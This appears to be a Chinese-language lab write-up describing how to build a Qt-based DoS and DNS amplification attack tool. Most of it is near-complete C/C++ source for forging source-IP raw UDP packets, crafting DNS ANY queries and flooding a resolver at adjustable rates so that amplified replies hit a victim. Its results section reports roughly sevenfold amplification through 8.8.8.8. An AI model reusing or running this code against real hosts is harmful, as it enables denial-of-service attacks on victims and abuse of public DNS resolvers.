1. 程式人生 > >DOS+DNS放大攻擊工具編寫

DOS+DNS放大攻擊工具編寫

1.前言:

     DOS攻擊原理:傳送大量的資料包消耗目標主機資源,使其無法正常工作。

     DNS放大攻擊的原理偽造DNS資料包,向DNS伺服器傳送域名查詢報文了,而DNS伺服器返回的應答報文則會發送給被攻擊主機。放大體現在請求DNS回覆的型別為ANY,攻擊者向伺服器請求的包長度為69個位元組,而伺服器向被攻擊主機回覆的ANY型別DNS包長度為535位元組,大約放大了7倍。

     本次實驗實現的是DOS+DNS放大攻擊,在傳輸層使用UDP協議,應用層使用DNS協議,程式有介面,接受使用者輸入,使用者還能調節發包的速度改變攻擊強度。

2.程式框圖:

    

3.DOS+DNS簡易介面的設計

 

新增5個文字框,用來接受使用者輸入的被攻擊的ip,傳送的埠,伺服器ip,傳送介面名稱,查詢的域名。

新增一個滑塊用來控制攻擊的強度。

新增兩個按鈕控制攻擊的開始和停止。

核心程式碼是attack按鈕槽函式的實現,接受輸入,並呼叫攻擊函式。

void Widget::on_attack_pushButton_clicked()

{

    QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();

    QByteArray ifnamestr =  ui->ifname_Edit->text().toLatin1();

    QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();

    QByteArray domainstr = ui->Domain_Edit->text().toLatin1();

dosattack=

new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);

    dosattack->start();

}

4.構造傳送

DNS報文

 

因為我們要偽造源IP,傳送DNS請求,所以我們的報文應該從IP頭部開始構造,一直到UDP報文的資料部分。這裡分為兩個部分,IP頭部和UDP頭部作為一個部分,UDP的資料即DNS報文作為一個部分。

(1)IP偽首部+IP頭部+UDP頭部

 

 

UDP包在網路傳輸的時候要計算校驗和,需要用到IP偽首部,IP偽首部在網路中不傳輸,只用作校驗和的計算。我們構造兩個資料結構,udpbuf填充UDP頭部包括IP頭部、udpfhrd填充IP偽首部。核心程式碼在sendudp函式裡填充資料,以及檢驗和checksum函式的實現。

//IP頭部+UDP頭部

struct udpbuf

{

   struct ip iph;

    struct udphdr udp;

};

//IP偽首部

struct udpfhrd

{

    struct in_addr ip_src;

    struct in_addr ip_dst;

    char zero;

    char protocal;

    short len;

};

//檢驗和函式

unsigned short checksum(unsigned short * buffer, int size)

    {

    unsigned long cksum = 0;

    while(size>1)

    {

        cksum += *buffer++;

        size -=sizeof(unsigned short);

    }

    if (size)

    {

        cksum += *(unsigned char*)buffer;

    }

    cksum = (cksum>>16)+ (cksum&0xffff);

    cksum += (cksum>>16);

    return (unsigned short)(~cksum);

}

//udp傳送函式

void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,

            char*data,int datalen)

{

    int buflen = sizeof(udpbuf)+datalen;

    char buf[buflen];

    struct udpbuf *ubuf = (struct udpbuf *)buf;

    struct sockaddr_ll toaddr;

    struct in_addr targetIP,srcIP;

    struct ifreq ifr;

    int skfd;

    if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

    {

        exit(1);

    }

    bzero(&toaddr, sizeof(toaddr));

    bzero(&ifr, sizeof(ifr));

    memcpy(ifr.ifr_name,ifname,strlen(ifname));

    ioctl(skfd, SIOCGIFINDEX,&ifr);

    toaddr.sll_ifindex = ifr.ifr_ifindex;

    ubuf->iph.ip_v = IPVERSION;

    ubuf->iph.ip_hl= sizeof(struct ip)>>2;

    ubuf->iph.ip_tos = 0;

    ubuf->iph.ip_len = htons(buflen);

    ubuf->iph.ip_id = 0;

    ubuf->iph.ip_off = 0;

    ubuf->iph.ip_ttl = MAXTTL;

    ubuf->iph.ip_p = IPPROTO_UDP;

    ubuf->iph.ip_sum = 0;

    inet_pton(AF_INET,dst_ip,&targetIP);

    ubuf->iph.ip_dst = targetIP;

    inet_pton(AF_INET,src_ip,&srcIP);

    ubuf->iph.ip_src = srcIP;

    ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));

    ubuf->udp.source = htons(src_port);

    ubuf->udp.dest =  htons(dst_port);

    ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);

    ubuf->udp.check = 0;

    memcpy(buf + sizeof(struct udpbuf),data,datalen);

    int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);

    char checksumbuf[csbuflen] ;

    struct udpfhrd * fhrd =  (struct udpfhrd *)checksumbuf;

    fhrd->ip_dst = ubuf->iph.ip_dst;

    fhrd->ip_src = ubuf->iph.ip_src;

    fhrd->zero = 0;

    fhrd->protocal = ubuf->iph.ip_p;

    fhrd->len = ubuf->udp.len;

    memcpy((checksumbuf+sizeof(struct  udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);

    if(datalen % 2 != 0)

    {

        checksumbuf[csbuflen-1] = 0;

    }

    ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);

    toaddr.sll_family = AF_INET;

    sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));

    close(skfd);

}

2DNS報文部分

 

同樣構造一個數據結構 dnshdr來填充DNS報文,注意放大攻擊的請求型別是ANY

這一部分的核心是在DNS傳送函式SendDns填充資料,以及查詢名的轉化,在DNS報文裡查詢名的儲存格式是3www5baidu3com,使用者提交的資料格式是www.baidu.com

//DNS12位元組

struct dnshdr

{

    unsigned short id;

    unsigned short bz;

    unsigned short wtcount;

    unsigned short zyCount;

    unsigned short sqCount;

    unsigned short ewCount;

};

//DNS可變部分

struct questtype

{

unsigned short dnsType;

   unsigned short dnsClass;

};

//sendDns函式,函式最後呼叫sendudp函式,將資料整合到sendudp函式中。

void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)

{

    QList <QByteArray> domainlist= domain.split('.');

    QByteArray domainName;

    for (int i = 0; i<domainlist.length();i++)

    {

        domainName += domainlist.at(i).length();

        domainName += domainlist.at(i);

    }

    domainName += '\0';

    int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);

    char buf[bufflen];

    struct dnshdr * dnsh;

    struct questtype * qtype;

    dnsh = (struct dnshdr*)buf;

    qtype= (struct questtype*)(buf +sizeof(struct dnshdr)+domainName.length());

    dnsh->id = rand();

    dnsh->bz = htons(0x0100);

    dnsh->wtcount= htons(1);

    dnsh->zyCount = htons(0);

    dnsh->sqCount = htons(0);

    dnsh->ewCount = htons(0);

    memcpy(buf+sizeof(struct dnshdr),domainName.data(),domainName.length());

    qtype->dnsType = htons(255);

    qtype->dnsClass = htons(1);

    sendudp(srcf_ip,dns,src_port, 53,ifname,buf,bufflen);

}

5.DNS放大攻擊實現

這一部分建立一個DnsAttack類,實現DNS攻擊,並通過usleepLevel)控制發包的速度,從而改變攻擊的強度。

class DosAttack:public QThread

{

public:

    DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain);

    bool running = true;

protected:

    void run();

private:

    QByteArray dstipstr;

    QByteArray ifnamestr;

    QByteArray Dnsstr;

    int Port;

    int Level;

    QByteArray Domainstr;

};

DosAttack::DosAttack(QByteArray dstip,QByteArray ifname,int port ,QByteArray dns,int level,QByteArray domain)

{

    dstipstr = dstip;

    ifnamestr = ifname;

    Port = port;

    Dnsstr =dns;

    Domainstr = domain;

    Level =(10-level)*50;

}

void DosAttack::run()

{

    char * dstip = dstipstr.data();

    char * ifname = ifnamestr.data();\

    char * dns = Dnsstr.data();

    while(running == true)

    {

        SendDns(ifname,dstip,Port,dns,Domainstr);

        usleep(Level);

    }

}

6.實驗截圖

執行的介面,偽造172.20.218.233發出DNS請求。

 

通過wireshark抓包工具看到我們的DNS請求包已經成功發出,包的長度為69個位元組,請求型別為ANY

 

在目標主機開啟wireshark,接受到來自8.8.8.8傳送來的應答包,可以看到包長度為535個位元組,放大了7倍。

 


調節攻擊的強度為5

 

wireshark分析速度,峰值約為1000

 

調節攻擊的強度為10

 

wireshark分析速度,峰值約為3500

 

那麼我們的DOS攻擊和DNS放大攻擊兩大功能就成功實現了。


 

7.實驗總結

      本次實驗使用QT作為程式開發的框架,實現了DOSDNS放大攻擊程式的編寫,對網路資料包,網路程式設計以及網路安全有了更加深刻的理解,網路簡單易用的設計原理,使得攻擊者可以輕易偽造資料。在重要資料傳輸的時候,要使用更加安全的協議如TCPHTTPS等。